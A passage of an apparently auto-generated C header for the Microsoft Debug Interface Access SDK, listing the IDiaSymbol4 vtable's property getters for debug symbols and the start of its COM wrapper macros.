*get_hasSEH )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol4 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol4 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol4 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol4 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol4 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol4 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol4 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol4 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol4 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol4 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol4 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol4 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol4 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol4 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol4Vtbl; interface IDiaSymbol4 { CONST_VTBL struct IDiaSymbol4Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol4_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol4_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol4_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol4_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol4_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol4_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol4_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol4_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol4_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol4_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol4_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol4_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol4_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol4_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol4_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol4_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol4_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol4_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol4_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol4_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol4_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol4_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol4_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol4_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol4_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol4_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol4_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol4_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol4_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol4_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol4_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol4_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol4_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol4_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol4_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol4_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol4_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol4_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol4_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol4_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol4_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol4_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol4_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol4_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol4_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol4_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol4_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol4_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol4_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol4_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol4_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol4_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol4_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol4_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol4_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol4_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol4_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol4_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol4_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol4_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol4_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol4_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol4_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol4_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol4_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol4_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol4_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol4_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol4_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol4_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol4_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol4_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol4_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> 